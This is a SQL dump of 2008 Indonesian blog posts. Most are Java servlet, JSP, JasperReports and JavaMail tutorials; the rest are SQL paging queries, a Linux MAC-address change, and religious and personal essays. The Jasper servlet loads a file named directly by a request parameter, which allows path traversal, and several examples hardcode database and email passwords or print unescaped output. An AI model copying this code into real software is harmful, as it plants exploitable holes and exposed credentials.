insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (104,'2008-06-30 10:13:59','JSP & Servelet vs SQL2Java','JSP & Servelet vs SQL2Java\r\n\r\nMelanjutkan yang kemarin yaitu bagaimana menggunakan SQL2Java. Klo kemarin menggunakan J2SE biasa sekarang bagaimna cara menampilkan data melalui JSP dan Serverlet. Kita akan menggunakan Model MVC, jadi SERVELET yang menangani classnya dan tampilannya dilempar ke JSPnya. Dengan methode ini akan membuat code kita menjadi terstruktur.\r\n\r\nDengan Catatan bahwa Database sudah di Genarate menggunakna SQL2Java, dan menghasilkan class-class, disini hasil Class yang di generate ditaruh di package test.db. \r\n\r\nBeriktu ini adalah contoh code untuk yang di SERVELET.\r\n\r\n[code]\r\npackage test;\r\n\r\nimport java.io.IOException;\r\nimport javax.servlet.ServletException;\r\nimport javax.servlet.http.HttpServlet;\r\nimport javax.servlet.http.HttpServletRequest;\r\nimport javax.servlet.http.HttpServletResponse;\r\n\r\n//ini adalah untuk memanggil class-class hasil generate database\r\nimport test.db.*;\r\n\r\npublic class ListTest extends HttpServlet {\r\n\r\n /**\r\n * Constructor of the object.\r\n */\r\n public ListTest() {\r\n super();\r\n }\r\n\r\n /**\r\n * Destruction of the servlet. <br>\r\n */\r\n public void destroy() {\r\n super.destroy(); // Just puts \"destroy\" string in log\r\n // Put your code here\r\n }\r\n\r\n public void doGet(HttpServletRequest request, HttpServletResponse response)\r\n throws ServletException, IOException {\r\n //Pangill menthod untuk menampilkan data\r\n getListTable(request,response);\r\n }\r\n\r\n public void doPost(HttpServletRequest request, HttpServletResponse response)\r\n throws ServletException, IOException {\r\n \r\n }\r\n\r\n public void init() throws ServletException {\r\n // Put your code here\r\n try{\r\n Manager.getInstance().setJdbcDriver(\"com.mysql.jdbc.Driver\");\r\n Manager.getInstance().setJdbcUrl(\"jdbc:mysql://localhost:3306/test\");\r\n Manager.getInstance().setJdbcUsername(\"root\");\r\n Manager.getInstance().setJdbcPassword(\"112233\"); \r\n } catch(Exception e){\r\n e.printStackTrace();\r\n }\r\n \r\n }\r\n \r\n public void forward(String page,\r\n HttpServletRequest req,\r\n HttpServletResponse resp)\r\n throws ServletException, IOException {\r\n\r\n //ini digunakan untuk memforward dari serverlet ke JSP\r\n getServletContext().getRequestDispatcher(page).forward(req, resp);\r\n }\r\n \r\n public void getListTable(HttpServletRequest request, HttpServletResponse response) \r\n throws ServletException, IOException{\r\n try{\r\n //Object untuk mengambil data\r\n TesttbBean[] list = TesttbManager.getInstance().loadAll();\r\n\r\n //Lempar object memakia atribute biar bisa ditangkap di JSPnya nanti\r\n request.setAttribute(\"listTest\", list);\r\n\r\n //Forward ke list.jsp untuk ditampilkan datanya\r\n forward(\"/jsp/list.jsp\",request,response);\r\n \r\n } catch(Exception e){\r\n forward(\"/jsp/error.jsp\", request, response);\r\n }\r\n }\r\n}\r\n[/code]\r\n\r\nBerikut ini adalah contoh code JSP untuk menangkap dari SERVELET\r\n[code]\r\n&lt;%@ page language=&quot;java&quot; import=&quot;test.db.*&quot; pageEncoding=&quot;ISO-8859-1&quot;%&gt;\r\n &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&gt;\r\n &lt;html&gt;\r\n &lt;head&gt;\r\n &lt;title&gt;My JSP \'list.jsp\' starting page&lt;/title&gt;\r\n &lt;/head&gt;\r\n &lt;body&gt;\r\n This is my JSP page for SQL2Java Handler&lt;br/&gt;\r\n &lt;%\r\n TesttbBean[] listTb = (TesttbBean[])request.getAttribute(&quot;listTest&quot;);\r\n %&gt;\r\n &lt;table&gt;\r\n &lt;tr&gt;\r\n &lt;td&gt;ID&lt;/td&gt;\r\n &lt;td&gt;DESC&lt;/td&gt;\r\n &lt;/tr&gt;\r\n \r\n &lt;%\r\n for(int i=0;i&lt;listTb.length;i++){\r\n out.print(&quot;&lt;tr&gt;&lt;td&gt;&quot;+listTb[i].getTestid()+&quot;&lt;/td&gt;&quot;);\r\n out.print(&quot;&lt;td&gt;&quot;+listTb[i].getTestdec()+&quot;&lt;/td&gt;&lt;/tr&gt;&quot;);\r\n }\r\n %&gt;\r\n &lt;/table&gt;\r\n &lt;/body&gt;\r\n &lt;/html&gt;\r\n[/code]',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (105,'2008-06-30 11:22:28','Report with Jasper Report in SERVELET','Report with Jasper Report in SERVELET\r\n\r\nMumpung ada waktu bagi-bagi ilmu biar gak lupa, Di sini kita tidak akan mengupas bagaimana caranya menggunakan Jasper Report/IReport. Kita akan membahas bagaimana setelah membuat report menggunakan Jasper Report (\"*.jasper\") kemudian ditampilkan di JSP. Pada dasarnya kita juga bisa menampilkan menggunakan J2SE.\r\nSedikit tentang Jasper Report, Jasper Report digunakan untuk menangi secara cepat format Report, kita tinggal desain saja kemudian dicompile dan hasilnya mempunyai extensi .jasper. Ungkap punya ungkap hehe, Jasper jika salah menggunakan bisa jadi celah penyerangan yang ampuh dan mematikan bagi teman-teman Hacker, wah bagaimana caranya Mat...?\r\nYuup, yang perlu diketahui bahwa ketika membuat report menggunakan Jasper Report SQL Query kita akan disimpan di dalam file tersebut, jika penyerang menemukan file *.jasper anda wah saya jamin database anda bisa di mapping dengan mudah. Ketika Program anda mempunyai bug SQL Injection tamatlah riwayat anda hihi :D. Salah satu cara untuk menghindari penyerangan ini adalah chmod dari file jasper harus \"execute(x)\" saja, atau simpan di folder terenkripsi dengna session yang berubah-ubah seperti di rapidshare.\r\n\r\nFile Jar yang harus ditambahkan dari luar, diambil dari folder /lib milik Jasper Report:\r\n[code]\r\njasperreports-1.2.6.jar,\r\ncommons-digester-1.7.jar,\r\ncommons-beanutils-1.5.jar,\r\ncommons-logging-1.0.2.jar,\r\ncommons-collections-2.1.jar,\r\nitext-1.3.1.jar (for .pdf),\r\npoi-2.0-final-20040126.jar\r\n[/code]\r\n\r\nBerikut ini adalah contoh penggunaan file jasper di Servelet dan yang cara pemanggilannya di URL adalah sebagai berikut:\r\n\r\nURL\r\n===========\r\n[code]\r\nhttp://xxxxx/JasperReport?jasperfile=test.jasper&exporttype=pdf\r\nhttp://xxxxx/JasperReport?jasperfile=test.jasper&exporttype=rtf\r\nhttp://xxxxx/JasperReport?jasperfile=test.jasper&exporttype=xls\r\nhttp://xxxxx/JasperReport?jasperfile=test.jasper&exporttype=csv\r\nhttp://xxxxx/JasperReport?jasperfile=test.jasper&exporttype=html\r\n[/code]\r\n\r\nSERVERLET\r\n===========\r\n[code]\r\npackage test;\r\n\r\nimport javax.servlet.ServletException;\r\nimport javax.servlet.http.HttpServlet;\r\nimport javax.servlet.http.HttpServletRequest;\r\nimport javax.servlet.http.HttpServletResponse;\r\n\r\nimport net.sf.jasperreports.engine.*;\r\nimport net.sf.jasperreports.engine.export.*;\r\nimport java.sql.*;\r\nimport java.io.*;\r\n \r\nimport test.db.Manager;\r\n\r\n@SuppressWarnings(\"serial\")\r\npublic class JasperReport extends HttpServlet {\r\n \r\n public Connection conn;\r\n \r\n public JasperReport() {\r\n super();\r\n }\r\n\r\n /**\r\n * Destruction of the servlet. <br>\r\n */\r\n public void destroy() {\r\n super.destroy(); // Just puts \"destroy\" string in log\r\n // Put your code here\r\n }\r\n\r\n public void doGet(HttpServletRequest request, HttpServletResponse response)\r\n throws ServletException, IOException {\r\n String filename = request.getParameter(\"jasperfile\");\r\n String reporttype = request.getParameter(\"exporttype\");\r\n JasperPrint jasperPrint;\r\n try {\r\n jasperPrint = JasperFillManager.fillReport( getServletContext().getRealPath(\"/\") + filename, null,this.conn);\r\n \r\n System.out.println(\"Report Created...\");\r\n \r\n OutputStream ouputStream = response.getOutputStream();\r\n \r\n JRExporter exporter = null;\r\n \r\n if( \"pdf\".equalsIgnoreCase(reporttype) ) {\r\n response.setContentType(\"application/pdf\");\r\n exporter = new JRPdfExporter();\r\n exporter.setParameter(JRExporterParameter.JASPER_PRINT, jasperPrint);\r\n exporter.setParameter(JRExporterParameter.OUTPUT_STREAM, ouputStream);\r\n } else if( \"rtf\".equalsIgnoreCase(reporttype) ) {\r\n response.setContentType(\"application/rtf\");\r\n response.setHeader(\"Content-Disposition\", \"inline; filename=\\\"file.rtf\\\"\");\r\n \r\n exporter = new JRRtfExporter();\r\n exporter.setParameter(JRExporterParameter.JASPER_PRINT, jasperPrint);\r\n exporter.setParameter(JRExporterParameter.OUTPUT_STREAM, ouputStream);\r\n } else if( \"html\".equalsIgnoreCase(reporttype) ) {\r\n exporter = new JRHtmlExporter();\r\n exporter.setParameter(JRExporterParameter.JASPER_PRINT, jasperPrint);\r\n exporter.setParameter(JRExporterParameter.OUTPUT_STREAM, ouputStream);\r\n } else if( \"xls\".equalsIgnoreCase(reporttype) ) {\r\n response.setContentType(\"application/xls\");\r\n response.setHeader(\"Content-Disposition\", \"inline; filename=\\\"file.xls\\\"\");\r\n \r\n exporter = new JRXlsExporter();\r\n exporter.setParameter(JRExporterParameter.JASPER_PRINT, jasperPrint);\r\n exporter.setParameter(JRExporterParameter.OUTPUT_STREAM, ouputStream);\r\n } else if( \"csv\".equalsIgnoreCase(reporttype) ) {\r\n response.setContentType(\"application/csv\");\r\n response.setHeader(\"Content-Disposition\", \"inline; filename=\\\"file.csv\\\"\");\r\n \r\n exporter = new JRCsvExporter();\r\n exporter.setParameter(JRExporterParameter.JASPER_PRINT, jasperPrint);\r\n exporter.setParameter(JRExporterParameter.OUTPUT_STREAM, ouputStream);\r\n }\r\n \r\n try {\r\n exporter.exportReport();\r\n } catch (JRException e) {\r\n throw new ServletException(e);\r\n } finally{\r\n if (ouputStream != null) {\r\n try {\r\n ouputStream.close();\r\n } catch (IOException ex) {\r\n \r\n }\r\n }\r\n }\r\n } catch (JRException e1) {\r\n // TODO Auto-generated catch block\r\n e1.printStackTrace();\r\n }\r\n\r\n }\r\n\r\n public void doPost(HttpServletRequest request, HttpServletResponse response)\r\n throws ServletException, IOException {\r\n\r\n \r\n }\r\n\r\n public void init() throws ServletException {\r\n // Put your code here\r\n try{\r\n Manager.getInstance().setJdbcDriver(\"com.mysql.jdbc.Driver\");\r\n Manager.getInstance().setJdbcUrl(\"jdbc:mysql://localhost:3306/test\");\r\n Manager.getInstance().setJdbcUsername(\"root\");\r\n Manager.getInstance().setJdbcPassword(\"112233\");\r\n this.conn = Manager.getInstance().getConnection();\r\n \r\n } catch(Exception e){\r\n e.printStackTrace();\r\n }\r\n }\r\n\r\n}\r\n[/code]',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (106,'2008-07-14 18:55:12','Belajar dari Penjual Koran','M Suyanto, Ketua STMIK Amikom.\r\nwww.msuyanto. com\r\n\r\nBelajar dari Penjual Koran\r\n\r\nSang penjual koran yang selalu rajin mengantarkan koran ke rumah saya. Lebih dari sepuluh tahun, saya setia menjadi pelanggannya. Kulitnya berwarna hitam kelam tersengat cahaya matahari setiap hari yang ditutupi dengan pakaian kebesaran jaket hitam lusuh dan topi untuk mengurangi sengatan matahari. Parfumnya tetesan keringat yang menempel pada wajahnya bagaikan orang yang baru saja menangis sejadi-jadinya. Tangan kanannya dihiasi oleh tanda dari Tuhan, yaitu tidak mempunyai jari.. Wajahnya yang menjelang tua yang dihiasi beberapa helai uban, tetapi tetap memancarkan senyum yang bercahaya, bersemangat yang memperlihatkan dirinya seorang pekerja keras dan petarung yang pantang putus asa. Inilah pelajaran pertama yang kita peroleh dari seorang penjual koran.\r\n\r\nSebaliknya kita yang kulit kita seakan tak pernah bersentuhan dengan cahaya matahari, karena tertutup mobil yang mewah dan terlindung dari pakaian yang berharga mahal. Parfum dari Perancis yang mahal, dicuci bau harumnya masih kentara. Meskipun demikian kadangkala kita menebarkan senyum yang kecut dan merendahkan orang lain serta kadangkala menjadi seorang petarung yang mudah menyerah dan mudah putus asa dengan masalah yang sepele. Bekerja dengan penuh tekanan dan kurang bersyukur dari nikmat Tuhan yang sangat melimpah.\r\nSaya teringat sebuah kisah tentang dua orang yang tangannya dicium oleh Rasulullah Saw. Orang tersebut pasti orang yang luar biasa, karena hanya dua orang saja dari seluruh orang di Semenanjung Arabia. Orang pertama yang tangannya dicium oleh Rasulullah Sawadalah Fatimah yang merupakan putri Rasulullah Saw sendiri.\r\n\r\nHal itu dilakukan karena Rasulullah Saw ingin menunjukkan bahwa wanita itu derajadnya tinggi dan sangat mulia, karena pada waktu itu wanita seakan-akan tidak berharga dan para bapak malu mempunyai anak wanita dan kadangkala anak tersebut dibunuhnya, sangat menyedihkan. Orang kedua adalah seorang berkulit hitam kelam dengan tangan yang melepuh. Rasulullah Saw bertanya, “Kenapa tanganmu melepuh seperti itu”. Jawab sahabat tersebut “Ya Rasulullah tanganku ini aku gunakan untuk membelah batu dengan kapakku agar aku bisa menghidupi keluargaku”. “Coba ulurkan tanganmu!” Rasulullah Saw memin- ta mengulurkan tangannya dan kemudi- an Rasulullah Saw menangkap tangan yang kotor dan melepuh tersebut dan menciumnya seakan beliau bersabda ini ada- lah tangan yang dicintai Allah yang tidak lain adalah tangan dari seorang pekerja keras. ',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (107,'2008-07-17 14:45:45','Jika Aku Jadi Presiden :)','Jika Aku Jadi Presiden :)\r\n\r\n1. Tunda bayar hutang Luar Negeri(nego kelitannya bisa hehe), lalu buat semua sekolah dan perguruan tinggi gratis atau lebih murah dari harga Sepedah Pancal.\r\n\r\n2. Nasionalisasi Perusahaan yang mempengaruhi Hajat Hidup Orang Banyak, seperti pasal 33, UUD 45. Telekomunikasi, Listrik, Air, Minyak, Tambang, Hutan, Transportasi, dan dll yang penting bayak orang pakek Nasionalisasi aja.\r\n\r\n3. Riset, Bikin dan Mengaplikasikan Nuklir untuk Energi Nasional, biar gak ada krisis energi lagi hehe :P, Klo Amerika menetang dengan berbagai alasan. \r\nMisal:\r\na. Wah nanti gagal gimana mengancam penduduk dunia, dunia bisa hancur. <jawab> Lho kan kita udah riset :P.\r\nb. Emang mampu?. <jawab> Mampu dong orang paling pintar kan Indonesia(sering minum jamu jadi pinter hihi :D), Temen2 yang menang Fisika dan Matematika tingkat dunia Masih dipengang Oleh Indonesia lho, jadi kita harus PeDE dan Optimis.\r\nc. Klo nanti ujung2 Amerika ngajak perang, jadikan aja Nuklir Hasil Riset buat Senjata hehe :P, Perang perang deh. Mosok mereka enak makek kita gak dikasih ijin.\r\n\r\n4. Membikin pemeritahan untuk kemaslatan umat manusia di negara sendiri dan dunia.\r\n\r\nAmin :)\r\n\r\n--------------------------------------\r\n\r\nTaat adalah Kehormatan.\r\nJika Hak-Hak kita, tidak kita dapatkan dari Pemerintah!\r\nTunuaikan Kewajibanmu terhadap Pemerintah dan Mintalah Hak Itu Kepada Allah.\r\n\r\nRada MERINGIS liat pejabat pada KORUPSI wew :(, negara kita mau dibawa kemana, hanya untuk kepentingan dirimu kah? \r\nLemah Teles Gusti Allah Sing Mbales\r\n\r\nMerdeka..!, Salam Anti SARA..!',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (108,'2008-07-21 15:17:22','Contoh Source Code JAVA buat Kirim Email(JavaMail API)','Contoh Source Code JAVA buat Kirim Email(JavaMail API)\r\n\r\nSource Code dan Library bisa di download:\r\n<a href=\"http://www.esnips.com/doc/9c97b858-dfaf-482d-9db5-fc865fd56f9f/java-email\" target=\"blank\">http://www.esnips.com/doc/9c97b858-dfaf-482d-9db5-fc865fd56f9f/java-email</a>\r\nSumber:\r\nhttp://java.sun.com/products/javamail/FAQ.html\r\n\r\nJava Mail API yang harus ditambahkan(ada 2 file):\r\n- mail.jar\r\n- activation.jar.\r\n\r\nBerikut ini adalah contoh Surce Codenya, yang udah disederhanakan:\r\n\r\nEMAIL TEXT/PLAIN\r\n==================\r\n[code]\r\npackage mamat;\r\n\r\nimport javax.mail.*;\r\nimport javax.mail.internet.*;\r\n\r\nimport java.util.Properties;\r\n\r\nclass EmailText {\r\n public static void main(String[] args) throws Exception{\r\n Properties props = new Properties();\r\n props.setProperty(\"mail.transport.protocol\", \"smtp\");\r\n props.setProperty(\"mail.host\", \"smtp.mail.yahoo.com.sg\");\r\n props.setProperty(\"mail.user\", \"abumazmp@yahoo.com.sg\");\r\n props.setProperty(\"mail.password\", \"111111\");\r\n\r\n Session mailSession = Session.getDefaultInstance(props, null);\r\n Transport transport = mailSession.getTransport();\r\n\r\n MimeMessage message = new MimeMessage(mailSession);\r\n message.setSubject(\"Ngetes Java Mail buat Plain\");\r\n message.setContent(\"Ini Test\", \"text/plain\");\r\n message.addRecipient(Message.RecipientType.TO,\r\n new InternetAddress(\"abumamail@gmail.com\"));\r\n\r\n transport.connect();\r\n transport.sendMessage(message,\r\n message.getRecipients(Message.RecipientType.TO));\r\n transport.close();\r\n }\r\n}\r\n[/code]\r\n\r\nEMAIL HTML\r\n===========\r\n[code]\r\npackage mamat;\r\n\r\nimport javax.mail.*;\r\nimport javax.mail.internet.*;\r\n\r\nimport java.util.Properties;\r\n\r\npublic class EmailHTML {\r\n public static void main(String[] args) throws Exception{\r\n Properties props = new Properties();\r\n props.setProperty(\"mail.transport.protocol\", \"smtp\");\r\n props.setProperty(\"mail.host\", \"smtp.mail.yahoo.com.sg\");\r\n props.setProperty(\"mail.user\", \"abumazmp@yahoo.com.sg\");\r\n props.setProperty(\"mail.password\", \"111111\");\r\n\r\n Session mailSession = Session.getDefaultInstance(props, null);\r\n Transport transport = mailSession.getTransport();\r\n\r\n MimeMessage message = new MimeMessage(mailSession);\r\n message.setSubject(\"Ng-Test javamail html\");\r\n message.setContent(\"Testing HTML oi! \", \"text/html; charset=ISO-8859-1\");\r\n message.addRecipient(Message.RecipientType.TO,\r\n new InternetAddress(\"abumamail@gmail.com\"));\r\n\r\n transport.connect();\r\n transport.sendMessage(message,\r\n message.getRecipients(Message.RecipientType.TO));\r\n transport.close();\r\n }\r\n}\r\n[/code]\r\n\r\n\r\nEMAIL PAKEK ATTACHMENT\r\n======================\r\n[code]\r\npackage mamat;\r\n\r\nimport javax.mail.*;\r\nimport javax.mail.internet.*;\r\nimport javax.activation.FileDataSource;\r\nimport javax.activation.DataHandler;\r\n\r\nimport java.util.Properties;\r\n\r\nclass EmailWithAttachment {\r\n public static void main(String[] args) throws Exception{\r\n boolean debug = false;\r\n Properties props = new Properties();\r\n props.setProperty(\"mail.transport.protocol\", \"smtp\");\r\n props.setProperty(\"mail.host\", \"smtp.mail.yahoo.com.sg\");\r\n props.setProperty(\"mail.user\", \"abumazmp@yahoo.com.sg\");\r\n props.setProperty(\"mail.password\", \"111111\");\r\n\r\n Session mailSession = Session.getDefaultInstance(props, null);\r\n mailSession.setDebug(debug);\r\n Transport transport = mailSession.getTransport();\r\n\r\n MimeMessage message = new MimeMessage(mailSession);\r\n message.setSubject(\"Testing JavaMail pakek Attachment\");\r\n\r\n MimeBodyPart textPart = new MimeBodyPart();\r\n textPart.setContent(\"Pakek Attachment woi\", \"text/html\");\r\n\r\n MimeBodyPart attachFilePart = new MimeBodyPart();\r\n FileDataSource fds = \r\n new FileDataSource(\"teserah.zip\");\r\n attachFilePart.setDataHandler(new DataHandler(fds));\r\n attachFilePart.setFileName(fds.getName());\r\n\r\n Multipart mp = new MimeMultipart();\r\n mp.addBodyPart(textPart);\r\n mp.addBodyPart(attachFilePart);\r\n\r\n message.setContent(mp);\r\n message.addRecipient(Message.RecipientType.TO,\r\n new InternetAddress(\"abumamail@gmail.com\"));\r\n\r\n transport.connect();\r\n transport.sendMessage(message,\r\n message.getRecipients(Message.RecipientType.TO));\r\n transport.close();\r\n }\r\n}\r\n[/code]',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (109,'2008-08-05 20:28:27','Menjadi Manusia \"Super Dahsyat\"','Artikel Islami\r\n25 Juli 2008 - 17:07\r\nMenjadi Manusia \"Super Dahsyat\" \r\nOleh : ilham fatahillah\r\n \r\n\r\nMungkinkah manusia memiliki kekuatan sepuluh kali lipat? Mungkin saja. Dalam pembahasan ini kita tidak berbicara tentang kekuatan dari ilmu-ilmu kesaktian yang beraroma syirik, tapi kita bicara tentang kekuatan yang bisa dimiliki oleh manusia tanpa harus berbuat syirik.Dan kekuatan ini hendaknya kita semua memilikinya, karena jika kita memiliki kekuatan sepuluh kali lipat, maka hasilnya akan sepuluh kali lipat pula. Dan jika kita ingin meningkatkan perolehan hasil, maka tingkatkanlah kekuatan yang kita miliki itu. Lalu bagaimana caranya? Untuk mendapatkan kekuatan yang dahsyat itu, Allah SWT telah membeberkan rahasianya. Simaklah ayat berikut ini!\r\n\r\n\"Hai Nabi, kobarkanlah semangat para mukmin untuk berperang. Jika ada dua puluh orang yang sabar diantaramu, niscaya mereka akan dapat mengalahkan dua ratus orang musuh. Dan jika ada seratus orang yang sabar diantaramu, niscaya mereka akan dapat mengalahkan seribu dari pada orang kafir, disebabkan orang-orang kafir itu kaum yang tidak mengerti.\" (QS.Al Anfaal:65)\r\n\r\nDalam ayat tersebut, Allah SWT memberitahukan pada kita bahwa jika kita ingin memiliki kekuatan sepuluh kali lipat, maka harus bekerja dengan sabar. Dalam perang seseorang yang sabar bisa mengalahkan sepuluh orang tentara musuh. Artinya seorang mukmin yang sabar memiliki kekuatan sepuluh kali lipat dibanding dengan kekuatan orang yang tidak sabar. Bahkan dengan sabar Allah juga menjanjikan pahala yang tiada terbatas kepada mereka yang sukses menetapi kesabaran.\r\n\r\n\"Sesungguhnya hanya orang-orang yang sabar sajalah yang dicukupkan pahala mereka tanpa batas.\" ( QS. Az Zumar 10 ).\r\n\r\nDengan membaca ayat-ayat tersebut, menjadi jelaslah bahwa kekuatan itu terletak pada kesabaran. Dan dengan kesabaran, kita tidak hanya mendapatkan kekuatan yang berlipat-lipat, tapi juga mendapatkan banyak keutamaan diantaranya meraih pahala yang sifatnya tidak terbatas. Subhanallah... Sungguh beruntung sekali jika kita bisa mendapatkannya.\r\n\r\nSeharusnya hal ini menjadi inspirasi bagi kita semua. Bisa jadi selama ini kita telah menyia-nyiakan potensi kekuatan yang dahsyat itu di dalam diri kita karena kita tidak sabar.\r\n\r\nSabar telah mendapat perhatian yang sangat besar di dalam al Qur\'an, disebutkan sekitar 90 tempat dalam berbagai ayat. Hal ini menunjukkan betapa sabar memiliki keutamaan yang sangat banyak dan menjadi wajib hukumnya untuk dipraktekan dalam menjalani kehidupan di dunia ini. Oleh karena itu marilah kita meningkatkan kesabaran demi kehidupan yang lebih baik.\r\n\r\nKebutuhan Manusia terhadap Sabar\r\nManusia dalam kehidupannya suatu saat pasti menghadapi cobaan atau ujian. Jika cobaan atau ujian itu telah datang, pada saat itulah dibutuhkan kesabaran. Semakin besar cobaan yang menimpa, semakin besar pula kebutuhan persediaan kesabaran. Dan bagi mereka yang tidak sabar, tentu akan dikecewakan oleh tindakannya itu. Karena ketidaksabaran justru akan menambah tekanan batin dan melemahkan kekuatan.\r\n\r\nMemang sabar itu adalah sebuah kata yang indah dan mudah diucapkan dengan lisan namun sangat sulit untuk dipraktekan. Akan tetapi jika kita ingin sukses dalam kehidupan ini, tidak bisa tidak kita harus memakai sabar dalam setiap tindakan kita.\r\n\r\nDan perlu diketahui pula bahwa bersabar itu bukan berarti diam menunggu atau pasrah dengan alasan menerima taqdir tanpa berbuat apa-apa, justru sabar ada pada \"kerja\" bukan pada diam.\r\n\r\nSabar adalah tetap melakukan apa yang harus kita lakukan. Jika kita tetap melakukan apa yang harus kita lakukan dengan penuh kesabaran, maka kekuatan kita akan berlipat ganda. Kita akan menjadi manusia yang super dahsyat insyaAllah!',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (110,'2008-08-06 15:25:31','QUERY di DB2,MYSQL,MSSQL,ORACLE dan POSTGRESQL untuk menampilkan Data Yang dinamis recordnya (LIMIT,','\"QUERY di DB2,MYSQL,MSSQL,ORACLE dan POSTGRESQL untuk menampilkan Data Yang dinamis recordnya (LIMIT,ROWNUM,FETCH)\"\r\n\r\nQuery Simple, Penting dan Sering lupa, hehe. Wah klo udah nangani database yang macem-macem bawaanya lupa melulu.\r\n\r\nBerikut ini adalah query pada database yang sedang muter di kepala untuk menampilkan jumlah data, yaitu menampilkan data 5 baris dimulai dari record ke-10.\r\n\r\nTakut lupa, eui. berikut scriptnya ;)\r\n[code]\r\nPostgreSQL\r\n------------\r\nselect * from mytable limit 5 offset 10;\r\n\r\nMySQL\r\n------------\r\nselect * from mytable limit 10,5\r\n\r\nDB2\r\n------------\r\nselect \r\n * \r\nfrom \r\n (select mytable.*,rownumber() over () as rn from mytable) as x \r\nwhere \r\n rn between 10 and 15\r\n\r\nORACLE\r\n------------\r\nSELECT * FROM mytable WHERE ROWNUM >= 10 AND ROWNUM <= 15\r\n\r\nMSSQL\r\n------------\r\nselect * from (\r\n select top 5 * from (\r\n select top 15 * from mytable\r\n order by <unik colms> asc\r\n ) as newtbl order by <unik colms> desc\r\n) as newtbl2 order by <unik colms> asc\r\n[/code]',1,1,8);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (111,'2008-08-08 11:21:30','Ngrubah Mac Address di Linux','Ngrubah Mac Address di Linux\r\n\r\n# ifconfig eth0 down\r\n# ifconfig eth0 hw ether 00:80:48:BA:d1:20\r\n# ifconfig eth0 up\r\n# ifconfig eth0 |grep HWaddr',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (112,'2008-08-19 15:31:49','Mobile Kamus','Mobile Kamus adalah Kamus Bahasa English - Indonesia. Project ini dibuat karena males bukak kamus dan males bukak Aplikasi Kamus. Hehe Dasar <--- ketahuan malesnya :P.\r\n\r\nSebenarnya untuk tinkat teknis pembuatan sangat sederhana sekali, yang terpenting dari project ini adalah databasenya. Untung pembuat database ini baik hati Meng-OPEN SOURCE kannya. Beliau adalah Mas Firmansyah.\r\n\r\nServer : PHP & NuSoap\r\nClient : J2ME\r\n\r\nProject Agak Lemah di tampilan karena memang developernya gak jago desain. Jadi yang Merasa mau mengembahkan project ini saya open source kan.\r\n\r\nDownload\r\n=======\r\n<a href=\"http://code.google.com/p/mkamus\">http://code.google.com/p/mkamus</a>\r\n<a href=\"http://mamat.amikom.ac.id/mkamus/\">http://mamat.amikom.ac.id/mkamus/</a>',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (113,'2008-08-20 21:02:32','Sifat BAIK dan BURUK :)','Sifat BAIK dan BURUK :)\r\n\r\nSIFAT BAIK\r\n==========\r\nPemaaf\r\nPenolong\r\nMenghormati\r\nDisiplin (adalah TIDAK TELAT bukan TEPAT WAKTU)\r\nDermawan\r\nSholeh\r\nSuka Menyapa\r\nJujur\r\nRajin\r\nUlet\r\nTekun\r\nPenyayang\r\nRedah Hati\r\nKerja Keras\r\nOptimis\r\nRamah\r\nSabar\r\nHemat\r\nSuka Menabung\r\n\r\nSIFAT BURUK\r\n===========\r\nMalas\r\nSombong\r\nIri\r\nDengki\r\nKhianat\r\nTakabur\r\nPemarah\r\nRedah Diri\r\nBoros\r\n\r\nBoleh nyumbang Ide Klo kosa katanya kurang , hehe. Baru tau klo menulis Sifat Baik dan Buruk bisa buat INTROPEKSI DIRI.',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (114,'2008-08-24 17:56:30','Satu Jam Tanpa Dosa :)','\"Satu Jam Tanpa Dosa\"\r\n<i>alawiyyin@yahoogroups.com</i>\r\n\r\nSeorang gadis kecil bertanya kepada ayahnya, \"Ayah, bisakah seseorang melewati seumur hidupnya tanpa berbuat dosa?\"\r\n\r\nAyahnya menjawab sambil tersenyum : \"tak mungkin, nak.\"\r\n\r\n\"Bisakah seseorang hidup setahun tanpa berbuat dosa?\" tanyanya lagi.\r\nAyahnya berkata: \"tak mungkin, nak.\"\r\n\r\n\"Bisakah seseorang hidup sebulan tanpa berbuat dosa?\"\r\nLagi-lagi ayahnya berkata : \"Tak mungkin, nak.\"\r\n\r\n\"Bisakah seseorang hidup sehari saja tanpa berbuat dosa?\" gadis kecil itu bertanya lagi.\r\nAyahnya mengernyitkan dahi dan berpikir keras untuk menjawab: \"mm..... mungkin bisa, nak.\"\r\n\r\n\"Lalu.... bisakah seseorang hidup satu jam tanpa dosa? tanpa berbuat jahat untuk beberapa saat, hanya waktu demi waktu saja, yah? Bisakah?\"\r\n\r\nAyahnya tertawa dan berkata : \"Nah, kalau itu pasti bisa, nak.\"\r\n\r\n \r\n\r\nGadis kecil itu tersenyum lega dan berkata : \"Kalau begitu ayah, aku mau memperhatikan hidupku jam demi jam, waktu demi waktu, momen demi momen, supaya aku bisa belajar tidak berbuat dosa.\r\n\r\nKurasa hidup jam demi jam lebih mudah dijalani, ya yah?\"\r\n',1,1,6);
